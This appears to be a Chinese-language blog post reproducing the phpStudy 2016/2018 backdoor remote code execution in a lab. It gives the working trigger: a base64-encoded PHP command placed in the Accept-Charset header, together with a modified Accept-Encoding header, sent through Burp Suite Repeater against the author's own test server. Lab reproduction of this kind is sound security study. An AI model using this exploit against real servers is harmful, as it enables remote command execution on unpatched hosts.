phpstudy_2016-2018_rce_backdoor复现

漏洞描述

  • 攻击者可以利用该漏洞执行PHP 命令，也可以称作phpStudy 后门。

  • RCE，Remote Command| Code Execute。

影响版本

  • phpStudy 2016
  • phpStudy 2018

利用代码

Accept-Charset: (命令的base64编码，例如system("whoami");进行编码)
Accept-Encoding: gzip,deflate #此处删除中间的空格

实现过程

  • 此处使用的windows_server2016开启phpstudy，版本号为5.4.45
  • 选择非服务模式

image-20231016164245092

  • 打开kali的burpsuite，选中proxy模块，选择打开浏览器
  • 进入浏览器后访问php页面

image-20231016164635457

  • 点击HTTP history查看刚才的页面（有响应的），然后右键点击或者ctrl+r发送给repeater模块

  • 将图中reque框选部分改为如图，随后发送即可执行命令

  • 删除delate前空格，添加Accept-Charset:信息

  • 将所需执行命令base64编码

    system("whoami");
to base64
c3lzdGVtKCJ3aG9hbWkiKTs=

image-20231016165111940

image-20231016164942364

# web安全 # 网络安全 # 服务器 # 运维 # linux # php # 安全威胁分析
Logo
天工造物局

北京人形旗下天工造物具身智能开源社区，聚焦具身天工与慧思开物两大平台

更多推荐

Composio CLI 本地工具二进制资产（local-tools-binaries）构建与交付指南

Composio CLI 在提供本地化 AI Agent 工具能力时，需要随 CLI 一起分发平台相关的可执行文件与动态库（sidecar）。`ts/packages/cli-local-tools/local-tools-binaries/` 正是这类"本地工具二进制资产"的构建产物目录：它在本地工具二进制构建期间生成，服务于 Beeper iMessage、Peekaboo（macOS GUI

avatar 天工造物局

Cherry Studio 分支策略与版本标签管理全指南：从贡献分支到自动化发布工作流

本文系统梳理 Cherry Studio 开源项目（AI 生产力套件，提供智能对话、自主 Agent 与 300+ 助手能力）的分支模型与版本标签管理制度：`main` 作为唯一活跃开发基线、`release/*` 作为发布专用分支、四类贡献分支的命名与 PR 规范，以及覆盖 hotfix 回移植（backport）、草稿发布、元数据同步在内的 GitHub Actions 自动化闭环。读完本文，

avatar 天工造物局

Docling 高级选项实战指南：模型预取与离线部署、远程服务开关与 PDF 管线调优

Docling（`Get your documents ready for gen AI`）默认在首次使用时自动联网下载模型权重，但在内网隔离、批量生产等场景下，你需要一套"提前下载、离线复用、按需限制、显式放行"的精细控制手段。本文围绕仓库中的 [docs/usage/advanced_options.md](https://link.gitcode.com/i/312e37646bb98218

avatar 天工造物局